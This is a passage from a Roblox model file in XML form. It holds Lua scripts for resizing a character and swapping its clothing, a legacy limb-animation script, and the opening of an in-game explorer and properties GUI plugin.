-- 7)  un-anchor parts
----------------------------------------------------------------
for _,p in ipairs(char:children()) do
	if p:isA(&quot;Part&quot;) then p.Anchored = false end
end

----------------------------------------------------------------
-- 8)  clothes logic (unchanged)
----------------------------------------------------------------
local ok = pcall(function() return char.Humanoid.Move end)
if not ok then
	if mod == 1 then
		for _,v in ipairs(char.Torso:children()) do
			if v:isA(&quot;Shirt&quot;) or v:isA(&quot;Pants&quot;) or v:isA(&quot;CharacterMesh&quot;) then v.Parent = char end
		end
		for _,n in ipairs({&quot;Left Leg&quot;,&quot;Right Leg&quot;}) do
			local leg = char:findFirstChild(n)
			if leg then
				for _,d in ipairs(leg:children()) do if d:isA(&quot;Decal&quot;) then d:Remove() end end
			end
		end
	else
		for _,w in ipairs(char:children()) do
			if w:isA(&quot;Shirt&quot;) or w:isA(&quot;Pants&quot;) or w:isA(&quot;CharacterMesh&quot;) then w.Parent = char.Torso end
			if w.Name==&quot;Left Leg&quot; or w.Name==&quot;Right Leg&quot; then
				local faces={&quot;Front&quot;,&quot;Back&quot;,&quot;Left&quot;,&quot;Right&quot;}
				for _,f in ipairs(faces) do
					local d=Instance.new(&quot;Decal&quot;); d.Face=Enum.NormalId[f]
					d.Texture = isausti and &quot;https://1.0char.co/Catalog/catalogitem.php?id=1161&amp;type=tshirt&quot;
					           or &quot;http://www.roblox.com/asset/?id=114314666135337&quot;
					d.Parent=w
				end
				local top=Instance.new(&quot;Decal&quot;); top.Face=Enum.NormalId.Top
				top.Texture = isausti and &quot;https://1.0char.co/Catalog/catalogitem.php?id=1162&amp;type=tshirt&quot;
				             or &quot;http://www.roblox.com/asset/?id=136997527729805&quot;
				top.Parent=w
			end
		end
	end
end

----------------------------------------------------------------
-- 9)  bounce Animate for old clients
----------------------------------------------------------------
char.Animate.Disabled=false; wait(0.1); char.Animate.Disabled=true
wait(0.3);                char.Animate.Disabled=false

----------------------------------------------------------------
-- 10)  update last-modifier for the **next** resize
----------------------------------------------------------------
lastModObj.Value = mod
</ProtectedString>
				</Properties>
				<Item class="NumberValue" referent="RBX54">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">modifier</string>
						<double name="Value">0</double>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX55">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Animate</string>
					<ProtectedString name="Source">function waitForChild(parent, childName)
	local child = parent:findFirstChild(childName)
	if child then return child end
	while true do
		child = parent.ChildAdded:wait()
		if child.Name==childName then return child end
	end
end

if script.Parent:findFirstChild(&quot;giantscript&quot;) then
	multiplier = tonumber(script.Parent:findFirstChild(&quot;giantscript&quot;).modifier.Value)
elseif script.Parent:findFirstChild(&quot;gubbyresize&quot;) then
	multiplier = tonumber(script.Parent:findFirstChild(&quot;gubbyresize&quot;).modifier.Value)
end
-- ANIMATION

-- declarations

local Figure = script.Parent
local Torso = waitForChild(Figure, &quot;Torso&quot;)
local RightShoulder = waitForChild(Torso, &quot;Right Shoulder&quot;)
local LeftShoulder = waitForChild(Torso, &quot;Left Shoulder&quot;)
local RightHip = waitForChild(Torso, &quot;Right Hip&quot;)
local LeftHip = waitForChild(Torso, &quot;Left Hip&quot;)
local Neck = waitForChild(Torso, &quot;Neck&quot;)
local Humanoid = waitForChild(Figure, &quot;Humanoid&quot;)
local pose = &quot;Standing&quot;

local toolAnim = &quot;None&quot;
local toolAnimTime = 0

local platform = script.Parent:findFirstChild(&quot;LegPlatform&quot;)

-- functions

function onRunning(speed)
	if speed&gt;0 then
		pose = &quot;Running&quot;
	else
		pose = &quot;Standing&quot;
	end
end

function onDied()
	pose = &quot;Dead&quot;
end

function onJumping()
   if platform then platform.CanCollide = false end
	--script.Parent.Legplatform.CanCollide = false
	pose = &quot;Jumping&quot;
end

function onClimbing()
	pose = &quot;Climbing&quot;
end

function onGettingUp()
	pose = &quot;GettingUp&quot;
end

function onFreeFall()
--	script.Parent.Legplatform.CanCollide = true
   if platform then platform.CanCollide = true end
	pose = &quot;FreeFall&quot;
end

function onFallingDown()
   if platform then platform.CanCollide = true end
--	script.Parent.Legplatform.CanCollide = true
	pose = &quot;FallingDown&quot;
end

function onSeated()
	pose = &quot;Seated&quot;
end

function onPlatformStanding()
	pose = &quot;PlatformStanding&quot;
end

function moveJump()
	RightShoulder.MaxVelocity = 0.5
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = 3.14
	LeftShoulder.DesiredAngle = -3.14
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
end


-- same as jump for now

function moveFreeFall()
	RightShoulder.MaxVelocity = 0.5
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = 3.14
	LeftShoulder.DesiredAngle = -3.14
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder.DesiredAngle = 3.14 /2
	LeftShoulder.DesiredAngle = -3.14 /2
	RightHip.DesiredAngle = 3.14 /2
	LeftHip.DesiredAngle = -3.14 /2
end

function getTool()	
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.className == &quot;Tool&quot; then return kid end
	end
	return nil
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == &quot;toolanim&quot; and c.className == &quot;StringValue&quot; then
			return c
		end
	end
	return nil
end

function animateTool()
	
	if (toolAnim == &quot;None&quot;) then
		RightShoulder.DesiredAngle = 1.57
		return
	end

	if (toolAnim == &quot;Slash&quot;) then
		RightShoulder.MaxVelocity = 0.5
		RightShoulder.DesiredAngle = 0
		return
	end

	if (toolAnim == &quot;Lunge&quot;) then
		RightShoulder.MaxVelocity = 0.5
		LeftShoulder.MaxVelocity = 0.5
		RightHip.MaxVelocity = 0.5
		LeftHip.MaxVelocity = 0.5
		RightShoulder.DesiredAngle = 1.57
		LeftShoulder.DesiredAngle = 1.0
		RightHip.DesiredAngle = 1.57
		LeftHip.DesiredAngle = 1.0
		return
	end
end

function move(time)
	local amplitude
	local frequency
  
	if (pose == &quot;Jumping&quot;) then
		moveJump()
		return
	end

	if (pose == &quot;FreeFall&quot;) then
		moveFreeFall()
		return
	end
 
	if (pose == &quot;Seated&quot;) then
		moveSit()
		return
	end

	local climbFudge = 0
	
	if (pose == &quot;Running&quot;) then
		RightShoulder.MaxVelocity = 0.15
		LeftShoulder.MaxVelocity = 0.15
		amplitude = 1
		if multiplier &lt; 1 then
			frequency = 1
		elseif multiplier &gt;= 10 then
			frequency = 1.5
		elseif multiplier &gt;= 9 then
			frequency = 1.75
		elseif multiplier &gt;= 8 then
			frequency = 2
		elseif multiplier &gt;= 7 then
			frequency = 2.25
		elseif multiplier &gt;= 6 then
			frequency = 2.5
		elseif multiplier &gt;= 5 then
			frequency = 3
		elseif multiplier &gt;= 4 then
			frequency = 4
		elseif multiplier &gt;= 3 then
			frequency = 5
		elseif multiplier &gt;= 2 then
			frequency = 7
		else
			frequency = 9
		end
	elseif (pose == &quot;Climbing&quot;) then
		RightShoulder.MaxVelocity = 0.5 
		LeftShoulder.MaxVelocity = 0.5
		amplitude = 1
		if multiplier &lt; 1 then
			frequency = 1
		elseif multiplier &gt;= 10 then
			frequency = 1.5
		elseif multiplier &gt;= 9 then
			frequency = 1.75
		elseif multiplier &gt;= 8 then
			frequency = 2
		elseif multiplier &gt;= 7 then
			frequency = 2.25
		elseif multiplier &gt;= 6 then
			frequency = 2.5
		elseif multiplier &gt;= 5 then
			frequency = 3
		elseif multiplier &gt;= 4 then
			frequency = 4
		elseif multiplier &gt;= 3 then
			frequency = 5
		elseif multiplier &gt;= 2 then
			frequency = 7
		else
			frequency = 9
		end
		climbFudge = 3.14
	else
		amplitude = 0.1
		frequency = 1
	end

	desiredAngle = amplitude * math.sin(time*frequency)

	RightShoulder.DesiredAngle = desiredAngle + climbFudge
	LeftShoulder.DesiredAngle = desiredAngle - climbFudge
	RightHip.DesiredAngle = -desiredAngle
	LeftHip.DesiredAngle = -desiredAngle


	local tool = getTool()

	if tool then
	
		animStringValueObject = getToolAnim(tool)

		if animStringValueObject then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = time + .3
		end

		if time &gt; toolAnimTime then
			toolAnimTime = 0
			toolAnim = &quot;None&quot;
		end

		animateTool()

		
	else
		toolAnim = &quot;None&quot;
		toolAnimTime = 0
	end
end


-- connect events

Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)

-- main program

local runService = game:service(&quot;RunService&quot;);

while Figure.Parent~=nil do
	local _, time = wait(0.1)
	move(time)
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX56">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">explorer</string>
					<ProtectedString name="Source">--[ Explorer Plugin V2 By TerminalZero ]--

--legacy, for 2012M-2010L (2010M?)

Properties = {nil,&quot;Name&quot;,&quot;Parent&quot;,&quot;ClassName&quot;,&quot;BrickColor&quot;,&quot;Transparency&quot;,&quot;Reflectance&quot;,&quot;CreatorId&quot;,&quot;VertexColor&quot;,&quot;Volume&quot;,&quot;Ticket&quot;,&quot;AccountAge&quot;,&quot;VideoQualitySettings&quot;,&quot;UploadSetting&quot;,&quot;TweenStatus&quot;,&quot;TopBottom&quot;,&quot;TickCountSampleMethod&quot;,&quot;ThreadPoolConfig&quot;,&quot;SurfaceType&quot;,&quot;SurfaceConstrait&quot;,&quot;Style&quot;,&quot;Stuff&quot;,&quot;Status&quot;,&quot;SpecialKey&quot;,&quot;SoundType&quot;,&quot;SleepAdjustMethod&quot;,&quot;SizeConstraint&quot;,&quot;Shadow&quot;,&quot;SavedQualitySetting&quot;,&quot;ReverbType&quot;,&quot;Resolution&quot;,&quot;QualityLevel&quot;,&quot;PyrimidSides&quot;,&quot;PrivilegeType&quot;,&quot;PrismSides&quot;,&quot;PriorityMethod&quot;,&quot;PlayerChatType&quot;,&quot;PhysicsSendMethod&quot;,&quot;PhysicsRecieveMethod&quot;,&quot;PartType&quot;,&quot;PacketReliability&quot;,&quot;NormalId&quot;,&quot;MoveState&quot;,&quot;MeshType&quot;,&quot;MaterialQuality&quot;,&quot;LevelOfDetailSetting&quot;,&quot;LeftRight&quot;,&quot;KeywordFilterType&quot;,&quot;JointType&quot;,&quot;InputType&quot;,&quot;InOut&quot;,&quot;HandlesStyle&quot;,&quot;GraphicsMode&quot;,&quot;GeometryQuality&quot;,&quot;Genre&quot;,&quot;GearType&quot;,&quot;GearGenreSetting&quot;,&quot;FunctionalTestResult&quot;,&quot;FriendStatus&quot;,&quot;FriendRequestEvent&quot;,&quot;FramerateManagerMode&quot;,&quot;FrameStyle&quot;,&quot;ErrorReporting&quot;,&quot;PhysicsThrottle&quot;,&quot;Enviromental&quot;,&quot;EasingStyle&quot;,&quot;EasingDirection&quot;,&quot;DialogTone&quot;,&quot;DialogPurpose&quot;,&quot;D3DFORMAT&quot;,&quot;D3DDEVTYPE&quot;,&quot;CreatorType&quot;,&quot;ControlMode&quot;,&quot;ConcurrencyModel&quot;,&quot;ChatStyle&quot;,&quot;ChatMode&quot;,&quot;ChatColor&quot;,&quot;CenterDialogType&quot;,&quot;CellOrientation&quot;,&quot;CellMaterial&quot;,&quot;CellBlock&quot;,&quot;CameraType&quot;,&quot;ButtonStyle&quot;,&quot;Button&quot;,&quot;BuildPermission&quot;,&quot;BodyPart&quot;,&quot;BinType&quot;,&quot;Bevels&quot;,&quot;Axis&quot;,&quot;Antialiasing&quot;,&quot;AnimationPriority&quot;,&quot;AffectType&quot;,&quot;ActionType&quot;,&quot;AASamples&quot;,&quot;Source&quot;,&quot;ScriptsDisabled&quot;,&quot;GarbageCollectionLimit&quot;,&quot;GarbageCollectionFrequency&quot;,&quot;RobloxLocked&quot;,&quot;Version&quot;,&quot;AttachmentForward&quot;,&quot;AttachmentPos&quot;,&quot;AttachmentRight&quot;,&quot;AttachmentUp&quot;,&quot;AnimationId&quot;,&quot;HeadColor&quot;,&quot;RightArmColor&quot;,&quot;LeftArmColor&quot;,&quot;TorsoColor&quot;,&quot;LeftLegColor&quot;,&quot;RightLegColor&quot;,&quot;Value&quot;,&quot;CameraType&quot;,&quot;CameraSubject&quot;,&quot;BaseTextureId&quot;,&quot;BodyPart&quot;,&quot;MeshId&quot;,&quot;OverlayTextureId&quot;,&quot;MaxActivationDistance&quot;,&quot;Shiny&quot;,&quot;Specular&quot;,&quot;Texture&quot;,&quot;Face&quot;,&quot;GripForward&quot;,&quot;GripPos&quot;,&quot;GripRight&quot;,&quot;GripUp&quot;,&quot;TextureId&quot;,&quot;TeamColor&quot;,&quot;Enabled&quot;,&quot;Position&quot;,&quot;position&quot;,&quot;CFrame&quot;,&quot;Material&quot;,&quot;RotVelocity&quot;,&quot;Velocity&quot;,&quot;velocity&quot;,&quot;Anchored&quot;,&quot;CanCollide&quot;,&quot;Locked&quot;,&quot;Elasticity&quot;,&quot;Friction&quot;,&quot;Shape&quot;,&quot;Size&quot;,&quot;formFactor&quot;,&quot;BackSurface&quot;,&quot;BottomSurface&quot;,&quot;FrontSurface&quot;,&quot;LeftSurface&quot;,&quot;RightSurface&quot;,&quot;TopSurface&quot;,&quot;AbsolutePosition&quot;,&quot;AbsoluteSize&quot;,&quot;Active&quot;,&quot;BackgroundColor3&quot;,&quot;BackgroundTransparency&quot;,&quot;BorderColor3&quot;,&quot;BorderSizePixel&quot;,&quot;SizeConstraint&quot;,&quot;Visible&quot;,&quot;ZIndex&quot;,&quot;C0&quot;,&quot;C1&quot;,&quot;Part0&quot;,&quot;Part1&quot;,&quot;BinType&quot;,&quot;LeftLeg&quot;,&quot;RightLeg&quot;,&quot;Torso&quot;,&quot;Health&quot;,&quot;MaxHealth&quot;,&quot;WalkSpeed&quot;,&quot;Jump&quot;,&quot;PlatformStand&quot;,&quot;Sit&quot;,&quot;AutoButtonColor&quot;,&quot;Image&quot;,&quot;LinkedSource&quot;,&quot;Disabled&quot;,&quot;Text&quot;,&quot;PrimaryPart&quot;,&quot;CurrentAngle&quot;,&quot;DesiredAngle&quot;,&quot;MaxVelocity&quot;,&quot;PantsTemplate&quot;,&quot;ShirtTemplate&quot;,&quot;SoundId&quot;,&quot;Pitch&quot;,&quot;IsPlaying&quot;,&quot;IsPaused&quot;,&quot;Looped&quot;,&quot;PlayOnRemove&quot;,&quot;StudsPerTileU&quot;,&quot;StudsPerTileV&quot;,&quot;userId&quot;,&quot;BubbleChat&quot;,&quot;ClassicChat&quot;,&quot;MaxPlayers&quot;,&quot;NumPlayers&quot;,&quot;LocalPlayer&quot;,&quot;CharacterAppearance&quot;,&quot;Character&quot;,&quot;CurrentCamera&quot;,&quot;Ambient&quot;,&quot;Brightness&quot;,&quot;ColorShift_Bottom&quot;,&quot;ColorShift_Top&quot;,&quot;ShadowColor&quot;,&quot;TimeOfDay&quot;,&quot;AmbientReverb&quot;,&quot;DistanceFactor&quot;,&quot;DopplerScale&quot;,&quot;RolloffScale&quot;,&quot;Color&quot;,&quot;angularvelocity&quot;,&quot;maxTorque&quot;,&quot;Offset&quot;,&quot;Scale&quot;,&quot;Heat&quot;,&quot;Range&quot;,&quot;Angle&quot;,&quot;DataCost&quot;,&quot;maxForce&quot;,&quot;MaxSpeed&quot;,&quot;D&quot;,&quot;P&quot;,&quot;Adornee&quot;,&quot;CelestialBodiesShown&quot;,&quot;SkyboxBk&quot;,&quot;SkyboxDn&quot;,&quot;SkyboxFt&quot;,&quot;SkyboxLf&quot;,&quot;SkyboxRt&quot;,&quot;SkyboxUp&quot;,&quot;StarCount&quot;}

if script ~= nil then
if Game:FindFirstChild(&quot;NetworkClient&quot;) ~= nil then
repeat wait() until Game.Players.LocalPlayer ~= nil
end
end

if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ExplorerButton&quot;) == nil then
local screengui = Instance.new(&quot;ScreenGui&quot;)
screengui.Parent = game.Players.LocalPlayer.PlayerGui
screengui.Name = &quot;ExplorerButton&quot;
local text = Instance.new(&quot;TextButton&quot;)
text.Parent = screengui
text.Active = true
text.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
text.BorderColor3 = Color3.new(255/255,0/0,0/0)
text.Position = UDim2.new(0.7,0,0.97,0)
text.Size = UDim2.new(0.1,0,0.025,0)
text.Text = &quot;Explorer&quot;
text.Transparency = 0.3
text.TextColor3 = Color3.new(1,1,1)

text.MouseButton1Down:connect(function()
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ExplorerGui&quot;) == nil then
pcall(function()
Game.CoreGui.RobloxGui.PlayerListScreen.Visible = false
end)

ItemGuis = {}
PropGuis = {}
ScrollPlaces = {}
MouseFunction = nil
KeyDownFunction = nil
KeyUpFunction = nil
_G.Selection = nil
ExplorerGui = nil
CopiedItem = nil
AddingConnection = nil
RemovingConnection = nil
Mouse = nil
ExpScrollNumber = 1
PropScrollNumber = 1
ViewGui = &quot;Explorer&quot;

pcall(function() if Game.Players.LocalPlayer ~= nil then
Mouse = Game.Players.LocalPlayer:GetMouse()
end end)

Base = &quot;http://www.roblox.com/asset/?id=&quot;
Images = {Value=40332408,Sound=40332463,Script=40332546,ScreenGui=40332596,Part=40332760,SpawnLocation=117933272,Nil=40332825,Model=40332865,Message=40332942,LocalScript=40332996,Joint=40333049,Frame=40333121,Camera=40333217,Backpack=40333260,Player=40332674,Body=40339623,HopperBin=40339572,Tool=40339513,Workspace=40484518,Mesh=40484580,Property=40493937,Animation=40531758,Hat=40531808,Humanoid=40531903,Light=117825710,Decal=117930421,Shirt=117931182,Pants=117931169,Terrain=117931310,ForceField=117931567,Seat=117931937,BillboardGui=117932485,Texture=118002183}

function SetImage(Par,class)
if (class==&quot;IntValue&quot;) or (class==&quot;BoolValue&quot;) or (class==&quot;StringValue&quot;) or (class==&quot;ObjectValue&quot;) or (class==&quot;CFrameValue&quot;) or (class==&quot;Vector3Value&quot;) or (class==&quot;NumberValue&quot;) or (class==&quot;RayValue&quot;) or (class==&quot;Color3Value&quot;) or (class==&quot;BrickColorValue&quot;) then
CreateImageLabel(Par,Base..Images.Value)
elseif (class==&quot;Sound&quot;) or (class==&quot;StockSound&quot;) or (class==&quot;SoundService&quot;) then
CreateImageLabel(Par,Base..Images.Sound)
elseif (class==&quot;Script&quot;) then
CreateImageLabel(Par,Base..Images.Script)
elseif (class==&quot;ScreenGui&quot;) or (class==&quot;GuiMain&quot;) then
CreateImageLabel(Par,Base..Images.ScreenGui)
elseif (class==&quot;BillboardGui&quot;) then
CreateImageLabel(Par,Base..Images.BillboardGui)
elseif (class==&quot;Part&quot;) or (class==&quot;WedgePart&quot;) or (class==&quot;TrussPart&quot;) or (class==&quot;SkateboardPlatform&quot;) then
CreateImageLabel(Par,Base..Images.Part)
elseif (class==&quot;SpawnLocation&quot;) then
CreateImageLabel(Par,Base..Images.SpawnLocation)
elseif (class==&quot;Model&quot;) then
CreateImageLabel(Par,Base..Images.Model)
elseif (class==&quot;Hint&quot;) or (class==&quot;Message&quot;) then
CreateImageLabel(Par,Base..Images.Message)
elseif (class==&quot;LocalScript&quot;) or (class==&quot;CoreScript&quot;) or (class==&quot;StarterScript&quot;) then
CreateImageLabel(Par,Base..Images.LocalScript)
elseif (class==&quot;Weld&quot;) or (class==&quot;Snap&quot;) or (class==&quot;Glue&quot;) or (class==&quot;Rotate&quot;) or (class==&quot;RotateP&quot;) or (class==&quot;RotateV&quot;) or (class==&quot;JointsService&quot;) then
CreateImageLabel(Par,Base..Images.Joint)
elseif (class==&quot;Frame&quot;) or (class==&quot;TextLabel&quot;) or (class==&quot;TextButton&quot;) or (class==&quot;TextBox&quot;) or (class==&quot;ImageButton&quot;) or (class==&quot;ImageLabel&quot;) then
CreateImageLabel(Par,Base..Images.Frame)
elseif (class==&quot;Camera&quot;) then
CreateImageLabel(Par,Base..Images.Camera)
elseif (class==&quot;Backpack&quot;) or (class==&quot;StarterGear&quot;) or (class==&quot;StarterPack&quot;) or (class==&quot;StarterGui&quot;) or (class==&quot;PlayerGui&quot;) then
CreateImageLabel(Par,Base..Images.Backpack)
elseif (class==&quot;Player&quot;) or (class==&quot;PseudoPlayer&quot;) or (class==&quot;Players&quot;) then
CreateImageLabel(Par,Base..Images.Player)
elseif (class==&quot;BodyPosition&quot;) or (class==&quot;BodyGyro&quot;) or (class==&quot;BodyVelocity&quot;) or (class==&quot;BodyThrust&quot;) or (class==&quot;BodyForce&quot;) or (class==&quot;RocketPropulsion&quot;) then
CreateImageLabel(Par,Base..Images.Body)
elseif (class==&quot;HopperBin&quot;) then
CreateImageLabel(Par,Base..Images.HopperBin)
elseif (class==&quot;Tool&quot;) then
CreateImageLabel(Par,Base..Images.Tool)
elseif (class==&quot;Workspace&quot;) then
CreateImageLabel(Par,Base..Images.Workspace)
elseif (class==&quot;BlockMesh&quot;) or (class==&quot;SpecialMesh&quot;) or (class==&quot;CylinderMesh&quot;) then
CreateImageLabel(Par,Base..Images.Mesh)
elseif (class==&quot;Animation&quot;) or (class==&quot;CharacterMesh&quot;) then
CreateImageLabel(Par,Base..Images.Animation)
elseif (class==&quot;Hat&quot;) then
CreateImageLabel(Par,Base..Images.Hat)
elseif (class==&quot;Humanoid&quot;) then
CreateImageLabel(Par,Base..Images.Humanoid)
elseif (class==&quot;Lighting&quot;) then
CreateImageLabel(Par,Base..Images.Light)
elseif (class==&quot;PointLight&quot;) or (class==&quot;SpotLight&quot;) then
CreateImageLabel(Par,Base..Images.Light)
elseif (class==&quot;Decal&quot;) then
CreateImageLabel(Par,Base..Images.Decal)
elseif (class==&quot;Texture&quot;) then
CreateImageLabel(Par,Base..Images.Texture)
elseif (class==&quot;Terrain&quot;) then
CreateImageLabel(Par,Base..Images.Terrain)
elseif (class==&quot;Shirt&quot;) then
CreateImageLabel(Par,Base..Images.Shirt)
elseif (class==&quot;Pants&quot;) then
CreateImageLabel(Par,Base..Images.Pants)
elseif (class==&quot;ForceField&quot;) then
CreateImageLabel(Par,Base..Images.ForceField)
elseif (class==&quot;Seat&quot;) or (class==&quot;VehicleSeat&quot;) then
CreateImageLabel(Par,Base..Images.Seat)
else CreateImageLabel(Par,Base..Images.Nil)
end
end

function CreateImageLabel(Par,image)
Par.Image = image
end

function GetProperties(Object,Table)
local Return = {}
local function C() end
for i=1,#Table do
if pcall(function() C(Object[Table[i]]) end) then
if (Object:FindFirstChild(Table[i]) == nil) then
table.insert(Return, Table[i])
end end end
return Return
end

--[[ Create Gui&apos;s ]]--
explore = Instance.new(&quot;ScreenGui&quot;,game.Players.LocalPlayer.PlayerGui)
explore.Name = &quot;ExplorerGui&quot;
otherframe = Instance.new(&quot;TextLabel&quot;,explore)
otherframe.Name = &quot;OtherFrame&quot;
otherframe.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
otherframe.BackgroundTransparency = 0.2
otherframe.BorderColor = BrickColor.new(&quot;Really red&quot;)

local drag = pcall(function() return otherframe.Draggable end)
if drag then --2010 check essentiaklly
otherframe.Position = UDim2.new(0.8,0,0,0)
else
otherframe.Position = UDim2.new(0.625,0,0,0)
end

--otherframe.Position = UDim2.new(0.8,0,0,0)
otherframe.Size = UDim2.new(0.2,0,0.05,0)
otherframe.Visible = true
otherframe.ZIndex = 2
pcall(function() otherframe.Draggable = true end)
pcall(function() otherframe.Font = &quot;ArialBold&quot; end)
pcall(function() otherframe.FontSize = &quot;Size14&quot; end)
otherframe.TextColor = BrickColor.new(&quot;Institutional white&quot;)
otherframe.TextXAlignment = &quot;Center&quot;
otherframe.Active = true

expbutton = Instance.new(&quot;TextButton&quot;,otherframe)
expbutton.Name = &quot;ExpButton&quot;
expbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
expbutton.BackgroundTransparency = 0.2
expbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
expbutton.Position = UDim2.new(0,0,16.25,0)
expbutton.Size = UDim2.new(0.45,0,0.75,0)
expbutton.Visible = true
expbutton.ZIndex = 2
pcall(function() 
expbutton.Draggable = false
expbutton.Font = &quot;ArialBold&quot;
expbutton.FontSize = &quot;Size14&quot;
end)
expbutton.Text = &quot;Explorer&quot;
expbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
expbutton.TextXAlignment = &quot;Center&quot;

propsbutton = Instance.new(&quot;TextButton&quot;,otherframe)
propsbutton.Name = &quot;PropsButton&quot;
propsbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
propsbutton.BackgroundTransparency = 0.2
propsbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
propsbutton.Position = UDim2.new(0.45,0,16.25,0)
propsbutton.Size = UDim2.new(0.45,0,0.75,0)
propsbutton.Visible = true
pcall(function() 
propsbutton.ZIndex = 2
propsbutton.Draggable = false
propsbutton.Font = &quot;ArialBold&quot;
propsbutton.FontSize = &quot;Size14&quot;
end)
propsbutton.Text = &quot;Properties&quot;
propsbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
propsbutton.TextXAlignment = &quot;Center&quot;

expframe = Instance.new(&quot;Frame&quot;,otherframe)
expframe.Name = &quot;ExplorerFrame&quot;
expframe.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
expframe.BackgroundTransparency = 0.4
expframe.BorderColor = BrickColor.new(&quot;Really red&quot;)
expframe.Position = UDim2.new(0,0,1,0)
expframe.Size = UDim2.new(1,0,16,0)
expframe.Visible = true
expframe.ZIndex = 1
pcall(function() 
expframe.Draggable = false
expframe.Active = true
end)

list = Instance.new(&quot;Frame&quot;,expframe)
list.Name = &quot;List&quot;
list.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
list.BackgroundTransparency = 0.8
list.BorderColor = BrickColor.new(&quot;Really red&quot;)
list.Position = UDim2.new(0,0,0.1,0)
list.Size = UDim2.new(0.9,0,0.85,0)
list.Visible = true
list.ZIndex = 1
pcall(function() 
list.Draggable = false
end)

back = Instance.new(&quot;TextButton&quot;,expframe)
back.Name = &quot;BackButton&quot;
back.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
back.BackgroundTransparency = 0.6
back.BorderColor = BrickColor.new(&quot;Really red&quot;)
back.Position = UDim2.new(0,0,0.05,0)
back.Size = UDim2.new(1,0,0.05,0)
back.Visible = true
back.ZIndex = 1
pcall(function() 
back.Draggable = false
back.Font = &quot;ArialBold&quot;
back.FontSize = &quot;Size14&quot;
end)
back.Text = &quot;Object&apos;s Parent is Nil&quot;
back.TextColor = BrickColor.new(&quot;Institutional white&quot;)
back.TextXAlignment = &quot;Center&quot;

search = Instance.new(&quot;TextBox&quot;,expframe)
search.Name = &quot;SearchBox&quot;
search.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
search.BackgroundTransparency = 0.6
search.BorderColor = BrickColor.new(&quot;Really red&quot;)
search.Position = UDim2.new(0,0,0,0)
search.Size = UDim2.new(1,0,0.05,0)
search.Visible = true
search.ZIndex = 1
pcall(function() 
search.Draggable = false
search.Font = &quot;ArialBold&quot;
search.FontSize = &quot;Size14&quot;
end)
search.Text = &quot;Search in Place1&quot;
search.TextColor = BrickColor.new(&quot;Institutional white&quot;)
search.TextXAlignment = &quot;Center&quot;

upbutton = Instance.new(&quot;TextButton&quot;,otherframe)
upbutton.Name = &quot;UpButton&quot;
upbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
upbutton.BackgroundTransparency = 0.6
upbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
upbutton.Position = UDim2.new(0.9,0,1.75,0)
upbutton.Size = UDim2.new(0.1,0,0.75,0)
upbutton.Visible = true
upbutton.ZIndex = 2
pcall(function() 
upbutton.Draggable = false
upbutton.Font = &quot;ArialBold&quot;
upbutton.FontSize = &quot;Size12&quot;
end)
upbutton.Text = [[/\]]
upbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
upbutton.TextXAlignment = &quot;Center&quot;

downbutton = Instance.new(&quot;TextButton&quot;,otherframe)
downbutton.Name = &quot;DownButton&quot;
downbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
downbutton.BackgroundTransparency = 0.6
downbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
downbutton.Position = UDim2.new(0.9,0,16.25,0)
downbutton.Size = UDim2.new(0.1,0,0.75,0)
downbutton.Visible = true
downbutton.ZIndex = 2
pcall(function() 
downbutton.Draggable = false
downbutton.Font = &quot;ArialBold&quot;
downbutton.FontSize = &quot;Size12&quot;
end)
downbutton.Text = [[\/]]
downbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
downbutton.TextXAlignment = &quot;Center&quot;

refreshbutton = Instance.new(&quot;ImageButton&quot;,expframe)
refreshbutton.Name = &quot;RefreshButton&quot;
refreshbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
refreshbutton.BackgroundTransparency = 0.6
refreshbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
refreshbutton.Position = UDim2.new(0.9,0,0,0)
refreshbutton.Size = UDim2.new(0.1,0,0.05,0)
refreshbutton.Visible = true
refreshbutton.ZIndex = 2
pcall(function() 
refreshbutton.Draggable = false
end)
refreshbutton.Image = &quot;http://www.roblox.com/asset/?id=21367268&quot;

options = Instance.new(&quot;Frame&quot;,list)
